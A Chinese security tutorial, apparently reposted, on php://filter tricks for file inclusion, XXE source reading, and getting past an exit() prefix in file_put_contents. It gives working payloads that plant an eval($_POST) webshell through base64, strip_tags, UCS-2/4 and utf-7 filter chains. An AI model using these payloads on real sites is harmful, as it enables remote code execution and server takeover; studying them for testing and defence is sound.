探索php://filter在实战当中的奇技淫巧

前言

在渗透测试或漏洞挖掘的过程中,我们经常会遇到php://filter结合其它漏洞比如文件包含、文件读取、反序列化、XXE等进行组合利用,以达到一定的攻击效果,拿到相应的服务器权限。

最近看到php://filter在ThinkPHP反序列化中频繁出现利用其相应构造可以RCE,那么下面就来探索一下关于php://filter在漏洞挖掘中的一些奇技淫巧。

php://filter

在探索php://filter在实战当中的奇技淫巧时,一定要先了解关于php://filter的原理和利用。

php://filter是一种元封装器,是PHP中特有的协议流,设计用于数据流打开时的筛选过滤应用作用是作为一个“中间流”来处理其他流
php://filter目标使用以下的参数作为它路径的一部分。复合过滤链能够在一个路径上指定。
参数
在这里插入图片描述
如:php://filter/(read=)convert.base64-encode/resource=xxx.php

使用
通过参数去了解php://filter的使用
测试代码

<?php
    $file1 = $_GET['file1'];
    $file2 = $_GET['file2'];
    $txt = $_GET['txt'];
    echo file_get_contents($file1);
    file_put_contents($file2,$txt);
?>

读取文件
payload:

index.php?file1=php://filter/resource=file.txt

index.php?file1=php://filter/read=convert.base64-encode/resource=file.php    // 专用于读取php文件

测试结果:
在这里插入图片描述
写入文件
payload:

index.php?file2=php://filter/resource=test.txt&txt=Qftm

index.php?file2=php://filter/write=convert.base64-encode/resource=test.txt&txt=Qftm

测试结果:
在这里插入图片描述

过滤器

String Filters

String Filters(字符串过滤器)每个过滤器都正如其名字暗示的那样工作并与内置的 PHP 字符串函数的行为相对应。

string.rot13

(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据

string.rot13对字符串执行 ROT13 转换,ROT13 编码简单地使用字母表中后面第 13 个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,即传递一个编码过的字符串作为参数,将得到原始字符串。

Example #1 string.rot13:

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.rot13');    // stream_filter_append函数将为流附上过滤器
fwrite($fp, "This is a test.n");
/* 将输出:  Guvf vf n grfg.   */
?>

php://output是php语言中一个只写的数据流,是返回的结果数据流。它是一个只写数据流,向php://output中写入数据允许你以 print 和echo一样的方式写入到输出缓冲区。

string.toupper

(自 PHP 5.0.0 起)使用此过滤器等同于用 strtoupper()函数处理所有的流数据

string.toupper 将字符串转化为大写

Example #2 string.toupper

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.toupper');
fwrite($fp, "This is a test.n");
/* 输出:  THIS IS A TEST.   */
?>
string.tolower

(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据

string.toupper 将字符串转化为小写

Example #3 string.tolower

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.tolower');
fwrite($fp, "This is a test.n");
/* 输出:  this is a test.   */
?>
string.strip_tags

(PHP 4, PHP 5, PHP 7)(自PHP 7.3.0起已弃用此功能。)使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和 strip_tags() 函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有 标记名 的数组。

string.strip_tags 从字符串中去除 HTML 和 PHP 标记,尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数 fgetss() 一样的机制去除标记。

Note:

HTML 注释和 PHP 标签也会被去除。这里是硬编码处理的,所以无法通过 allowable_tags 参数进行改变。

Example #4 string.strip_tags

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, "<b><i><u>");
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'string.strip_tags', STREAM_FILTER_WRITE, array('b','i','u'));
fwrite($fp, "<b>bolded text</b> enlarged to a <h1>level 1 heading</h1>n");
fclose($fp);
/* Outputs:  <b>bolded text</b> enlarged to a level 1 heading   */
?>

Conversion Filters

Conversion Filters(转换过滤器)如同 string. 过滤器,convert. 过滤器的作用就和其名字一样,进行编码转换。转换过滤器是 PHP 5.0.0 添加的。

convert.base64

convert.base64-encode 和 convert.base64-decode 使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。 convert.base64-encode支持以一个关联数组给出的参数。如果给出了 line-length,base64 输出将被用 line-length 个字符为 长度而截成块。如果给出了 line-break-chars,每块将被用给出的字符隔开。这些参数的效果和用 base64_encode()再加上 chunk_split()相同。

Example #1 convert.base64-encode & convert.base64-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs:  VGhpcyBpcyBhIHRlc3QuCg==  */

$param = array('line-length' => 8, 'line-break-chars' => "rn");
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-encode', STREAM_FILTER_WRITE, $param);
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs:  VGhpcyBp
          :  cyBhIHRl
          :  c3QuCg==  */

$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.base64-decode');
fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==");
fclose($fp);
/* Outputs:  This is a test.  */
?>
convert.quoted

convert.quoted-printable-encode 和 convert.quoted-printable-decode 使用此过滤器的 decode 版本等同于用 quoted_printable_decode()函数处理所有的流数据。没有和 convert.quoted-printable-encode相对应的函数。 convert.quoted-printable-encode支持以一个关联数组给出的参数。除了支持和 convert.base64-encode 一样的附加参数外, convert.quoted-printable-encode还支持布尔参数 binary和 force-encode-first。 convert.base64-decode 只支持 line-break-chars 参数作为从编码载荷中剥离的类型提示。

Example #2 convert.quoted-printable-encode & convert.quoted-printable-decode

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
fwrite($fp, "This is a test.n");
/* Outputs:  =This is a test.=0A  */
?>
convert.iconv.*

这个过滤器需要 php 支持 iconv,而 iconv 是默认编译的。使用convert.iconv.*过滤器等同于用iconv()函数处理所有的流数据。
convery.iconv.*的使用有两种方法

convert.iconv.<input-encoding>.<output-encoding> 
or 
convert.iconv.<input-encoding>/<output-encoding>

iconv()
(PHP 4 >= 4.0.5, PHP 5, PHP 7)
iconv — 将字符串按要求的字符编码来转换
说明

iconv ( string $in_charset , string $out_charset , string $str ) : string

将字符串 str 从 in_charset 转换编码到 out_charset,返回转换后的字符串。

Example # convert.iconv.*

<?php
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.iconv.utf-16le.utf-8');
fwrite($fp, "This is a test.n");
fclose($fp);
/* Outputs: This is a test. */
?>

文件包含

在文件包含漏洞当中,因为php://filter可以对所有文件进行编码处理所以常常可以使用php://filter来包含读取一些特殊敏感的文件(PHP文件、配置文件、脚本文件等)以辅助后面的漏洞挖掘。
测试代码

<?php
    $file  = $_GET['file'];
    include($file);
?>

漏洞利用

利用姿势1:

index.php?file=php://filter/read=convert.base64-encode/resource=index.php

通过指定末尾的文件,可以读取经base64加密后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。同时也能够对网站源码进行审计。

利用姿势2:

index.php?file=php://filter/convert.base64-encode/resource=index.php

效果跟前面一样,只是少了个read关键字,在绕过一些waf时也许有用。

XXE Encode

由于XXE漏洞的特殊性,我们在读取HTML、PHP等文件时可能会抛出此类错误parser error : StartTag: invalid element name 。其原因是,PHP是基于标签的脚本语言,这个语法也与XML相符合,所以在解析的时候会被误认为是XML,而其中内容(比如特殊字符)又有可能和标准XML冲突,所以导致了出错。

那么,为了读取包含有敏感信息的PHP等源文件,可以将“可能引发冲突的PHP代码”编码一遍,然后再显示,这样就不会出现冲突。

这个时候可以使用php://filter协议作为中间流将XXE读取的文件进行base64编码处理之后再显示。

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe.php" >]>

Bypass file_put_contents Exit

关于代码终结者<?php exit; ?>想必大家在漏洞挖掘中写入shell的时候经常会遇到,在这样的情况下无论写入的shell是否成功都不会执行传入的恶意代码,因为在恶意代码执行之前程序就已经结束退出了,导致shell后门利用失败

实际漏洞挖掘当中主要会遇到以下两种限制:

  • 写入shell的文件名和内容不一样(前后变量不同)
  • 写入shell的文件名和内容一样(前后变量相同)

针对以上不同的限制手法所利用的姿势与技巧也不太一样,当然利用的难度也会不一样(第二种相对第一种利用较复杂)。

下面就针对死亡exit限制手法进行探索与绕过。

Bypass-不同变量

针对写入shell的文件名和内容不一样的时候,进行探索绕过
测试代码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);
?>

代码分析
分析代码可以看到,$content在开头增加了exit,导致文件运行直接退出!!

在这种情况下该怎么绕过这个限制呢,思路其实也很简单我们只要将content前面的那部分内容使用某种手段(编码等)进行处理,导致php不能识别该部分就可以,下面介绍探索的几种利用绕过手法。

Bypass-转换过滤器

在上面的介绍中我们知道php://filter中convert.base64-encode和convert.base64-decode使用这两个过滤器等同于分别用 base64_encode()和 base64_decode()函数处理所有的流数据。

在代码中可以看到$_POST['filename']是可以控制协议的,既然可以控制协议,那么我们就可以使用php://filter协议的转换过滤器进行base64编码与解码来绕过限制。所以我们可以将$content内容进行解码,利用php base64_decode函数特性去除“exit”。

Base64编码与解码

Base64编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。base64算法解码时是4个byte一组。

知道php base64解码特点之后,当$content被加上了<?php exit; ?>以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符< ? ; > 空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”和我们传入的其他字符。

由于,”phpexit”一共7个字符,但是base64算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符(Q)就可以,这样”phpexitQ”被正常解码,而后面我们传入的webshell的base64内容也被正常解码,这样就会将<?php exit; ?>这部分内容给解码掉,从而不会影响我们写入的webshell。

payload

http://192.33.6.145/test.php

POST
txt=QPD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=convert.base64-decode/resource=shell.php      // 写入文件时使用过滤器

base64decode组成
phpe xitQ PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+(这里的+加号要url编码,如上,否则不显示)

载荷效果
在这里插入图片描述
从服务器上可以看到已经生成shell.php,同时<?php exit; ?>这部分已经被解码掉了。

Bypass-字符串过滤器

除了可以使用php://filter的转换过滤器绕过以外还可以使用其字符串过滤器进行绕过利用。

string.strip_tags

**利用php://filter中string.strip_tags过滤器去除”exit”。**使用此过滤器等同于用 strip_tags()函数处理所有的流数据。我们观察一下,这个<?php exit; ?>,实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它。
测试代码

<?php
echo readfile('php://filter/read=string.strip_tags/resource=php://input');
?>

载荷效果
在这里插入图片描述
载荷利用虽然成功了,但是我们的目的是写入webshell,如果那样的话,我们的webshell岂不是同样起不了作用,不过我们可以使用多个过滤器进行绕过这个限制(php://filter允许通过 | 使用多个过滤器)。

具体步骤分析

1、webshell用base64编码   //为了避免strip_tags的影响

2、先调用string.strip_tags //这一步先将去除<?php exit; ?>

3、在调用convert.base64-decode //这一步将再还原base64编码的webshell

payload

http://192.33.6.145/test.php

POST
txt=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8%2B&filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php
(这里的+加号要url编码,如上%2B,否则不显示)

载荷效果
在这里插入图片描述
从服务上可以看到已经生成shell.php,同时<?php exit; ?>这部分已经被string.strip_tags去除掉。

Bypass-相同变量

针对写入shell的文件名和内容一样的时候,进行探索绕过。

有了上面第一种情况的绕过与利用姿势,那么在第二种条件限制情况下,可以在第一种的手法上进行拓展探索利用。

测试代码

<?php
$a = $_GET[a];
file_put_contents($a,'<?php exit();'.$a)
?>

这段代码在ThinkPHP5.0.X反序列化中出现过,利用其组合才能够得到RCE。有关ThinkPHP5.0.x的反序列化这里就不说了,主要是探索如何利用php://filter绕过该限制写入shell后门得到RCE的过程。
代码分析
分析代码可以看到,这种情况下写入的文件,其文件名($a)和文件部分内容($a)一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:去除死亡exit写入shell后门。

针对这种限制手法,我们可以在上面第一种Bypass手法的基础上进行拓展挖掘。

convert.base64

在上面不同变量利用base64构造payload的基础上,可以针对相同变量再次构造相应payload,在文件名中包含,满足正常解码就可以。

a=php://filter/write=convert.base64-decode/resource=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示

但是这样构造发现是不可以的,因为构造的payload里面包含’=’符号,而base64解码的时候如果字符’=’后面包含有其他字符则会报错。(“=”字符在base64编码当中是作为填充字符出现的)

那么能不能尝试把字符等号去掉,分析payload可以把字符串write=去掉减少一个等号,但是字符串resource=里面的等号不能去掉,也就导致该payload构造失败

既然这种方法不可以那么就可以试试探索其它方法(下面在讲述convert.iconv.*的时候会讲述怎么绕过base64解码时字符’=’的限制)

string.strip_tags

还是在上面不同变量的基础上进行拓展,由于上面第一种情况的限制代码直接就是<?php exit; ?>可以直接利用strip_tags去掉,但是现在这种情况下的限制代码和上面的有点不一样了,少了一段字符?>,其限制代码为<?php exit;,不过构造的目的是相同的最终还是要把exit;给去除掉。

分析两者限制代码的不同,那么我们可以直接再给它加一个?>字符串进行闭合就可以利用了
构造payload

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+.php

//注意payload中的字符'+'在浏览器url中需要转换为%2B,否则不显示

分析组合后未处理的文件内容,发现成功的构造php标签<?php xxxx ?>,同时也可以发现代码中的字符等号’=’也包含在php标签里面,那么在经过strip_tags处理的时候都会去除掉,之后就不会影响base64的正常解码了。
载荷效果
在这里插入图片描述
可以看到payload请求成功,在服务器上生成了相应的文件,同时也正常的写入了webshell

虽然这样利用成功了,但是会发现这样的文件访问会有问题的,采用@Cyc1e师傅介绍的方法,利用…/重命名即可解决。

利用技巧

a=php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+/../Qftm.php

把?>PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+作为目录名(不管存不存在),再用…/回退一下,这样创建出来的文件名为Qftm.php,这样创建出来的文件名就正常了
在这里插入图片描述
有一个缺点就是这种利用手法在windows下利用不成功,因为文件名里面的? >等这些是特殊字符会导致文件的创建失败

convert.iconv.*

关于convert.iconv.*的详细介绍可以看上面对php://filter的介绍。

对于iconv字符编码转换进行绕过的手法,其实类似于上面所述的base64编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;被去除,而我们的恶意代码正常解码存储
下面具体看一下有哪些组合手法可以来Bypass exit:

UCS-2

UCS-2编码转换

php > echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[Qftm]);?>');

?<hp pe@av(l_$OPTSQ[tf]m;)>?      // 两位一反转

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 2*14
>>>

通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload

a=php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?

>>> len("<?php exit();php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSQ[tf]m;)>?")
84 -> 2*42
>>>

载荷效果
在这里插入图片描述
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

UCS-4

UCS-4编码转换

php > echo iconv("UCS-4LE","UCS-4BE",'<?php @eval($_POST[Qftm]);?>');

hp?<e@ p(lavOP_$Q[TS]mtf>?;)       // 4位一反转

>>> len("<?php @eval($_POST[Qftm]);?>")
28 -> 4*7
>>>

通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
构造payload

a=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

组合出的payload:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)/resource=Qftm.php

核心部分:
<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$Q[TS]mtf>?;)

>>> len("<?php exit();php://filter/convert.iconv.UCS-4LE.UCS-4BE|")
56 -> 4*14
>>>

载荷效果
在这里插入图片描述
从请求和服务器查看结果可以看到构造的payload执行传入恶意代码后门webshell成功。

当然这种方法(UCS-2/4)对于上面讲述的第一种情况前后不同变量也是一样适用的。

utf8-utf7

前面介绍单独用base64编码是不可行的(绕不过字符’=’的限制),不过这里可以借助组合拳(iconv+base64)进行绕过字符’=’在base64解码中的影响。通过iconv将utf-8编码转为utf-7编码,从而把’=’给转了,最终也就不会影响到base64的正常解码。

测试代码

<?php

$a='php://filter/convert.iconv.utf-8.utf-7/resource=Qftm.txt';
file_put_contents($a,'=');

/**
Qftm.txt 写入的内容为: +AD0-   成功的将“=”给转了
**/

从结果可以看到,convert.iconv 这个过滤器把 = 转化成了 +AD0-,要知道 +AD0- 是可以被 convert.base64-decode过滤器解码的,由此利用其构造组合payload绕过base64限制。
构造payload

a=php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=Qftm.php
//这里需要注意的是要符合base64解码按照4字节进行的

utf-8 -> utf-7
+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+-+AHw-convert.iconv.utf-8.utf-7/resource+AD0-Qftm.php

base64解码特点剔除不符合字符(只要恶意代码前面部分正常就可以,长度为4的倍数)
+ADwphpexit+ADsphp//filter/write+AD0

>>> len("+ADwphpexit+ADsphp//filter/write+AD0")
36 -> 4*9
>>>

正常base64解码部分
+ADwphpexit+ADsphp//filter/write+AD0PD9waHAgQGV2YWwoJF9QT1NUW1FmdG1dKT8+

载荷效果
在这里插入图片描述
可以看到这种组合效果是可以的,成功绕过了base64与exit;的限制。

总结

这里提到了关于php://filter常用的过滤器利用与组合利用的手法来进行漏洞挖掘或者Bypass,当然php://filter还有其他的过滤器是可以用的,不过思路都是一样的,都是通过某种利用组合达到一定的目的。

原文:https://www.anquanke.com/post/id/202510

  • 3
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值